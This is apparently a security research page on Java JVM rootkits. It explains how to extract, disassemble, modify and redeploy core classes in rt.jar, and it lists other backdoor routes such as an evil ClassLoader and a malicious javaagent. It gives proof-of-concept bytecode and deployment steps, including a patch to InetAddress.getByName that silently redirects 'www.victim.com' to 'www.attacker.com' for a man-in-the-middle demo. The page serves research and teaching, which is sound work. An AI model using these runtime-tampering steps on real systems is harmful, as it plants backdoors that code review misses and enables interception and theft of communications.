This page introduces application level rootkit attacks on Java JVM environment, enabling an attacker to change the language runtime implementation, and to hide malicious code inside its core.
Java Rootkits, injected into the upper level class level code will influence the bytecode and make the application behave differently than what it’s supposed to do. Code reviews will not detect application level backdoors since the payload is not in the code itself, but rather it is inside the JVM implementation.
Java rootkits also enables the attacker to install reverse shells, to steal valuable information, to fixate encryption keys, disable security checks and to perform other nasty things.
Overview of Java JVM Modification Steps
- Locate the class (usually in rt.jar) and extract it: jar xf rt.jar java/io/PrintStream.class
- Dissassemble it (using Jasper disassembler): Java –jar jasper.jar PrintStream.class
- Modify the bytecode
- Assemble it (using Jasmin assembler): Java –jar jasmin.jar PrintStream.j
- Deploy the modified class back to its location: jar uf rt.jar java/io/PrintStream.class
Besides performing direct modification of the JVM in order to hide the presence of the rootkit from the application layer, it is possible to achieve similar rootkit-like behavior using Non evasive, “by design” techniques such as:
- AOP – Aspect programming (dynamic weaving)
- Configuration modification
- Setting an alternative evil ClassLoader
- Loading a malicious agent “-javaagent:MyEvilAgent.jar” (Java)
Proof of Concept
aload_0 aload_1 invokevirtual java/io/PrintStream/print(Ljava/lang/String;)V aload_0 invokespecial java/io/PrintStream/newLine()V aload_2
- Download the Modified PrintStream.Class (PrintStream.class contains the println method)
- Go to the JRE directory containg rt.jar
- Create a temp directory “java/io”, and copy the PrintStream.class to this directory
- Deploy the modified class using the “jar”command: jar uf rt.jar java/io/PrintStream.class
- Download the HelloWorld Demo. It contains one line of code: System.out.println(“Hello World!”);
- Run HelloWorld, using: java HelloWorld
Now you should see that the string “Hello World!” was printed twice.
aload_0 ;load s into stack ldc "www.victim.com" ;compare the 2 strings invokevirtual java/lang/String/equals(Ljava/lang/Object;)Z ifeq LABEL_compare ldc "www.attacker.com" astore_0 ;store attacker hostname to stack LABEL_compare:
It will make each application level code to getByName (in order to resolve hostname -> ip) to spoof the IP address of the victim to be the attacker’s IP.
Steps:
-
Download the modified InetAddress.class (InetAddress.class contains the getByName method)
- Go to the JRE directory containg rt.jar
- Create a temp directory “java/net”, and copy the InetAddress.class to this directory
- Deploy the modified class using the “jar”command: jar uf rt.jar java/net/InetAddress.class
- Download the DNS Spoofing Demo.
- Run the Client on the rooted JVM machine, using: java Client
- Run the Server on a machine called “www.victim.com”, using: java Server
- Run the Man-In-The-Middle Server on a machine called “www.attacker.com”, using: java TCPChatMitM
- Start the real server and the MitM server. Now connect with the client to www.victim.com.
Now you should see that communication flow is Client<-->MitM<-->Server.
Pay attention – the supplied classes were generated to JRE version 1.6.0_14. To avoid compatibility issues when using the supplied PoC classes use the same JRE version or generate your own classes.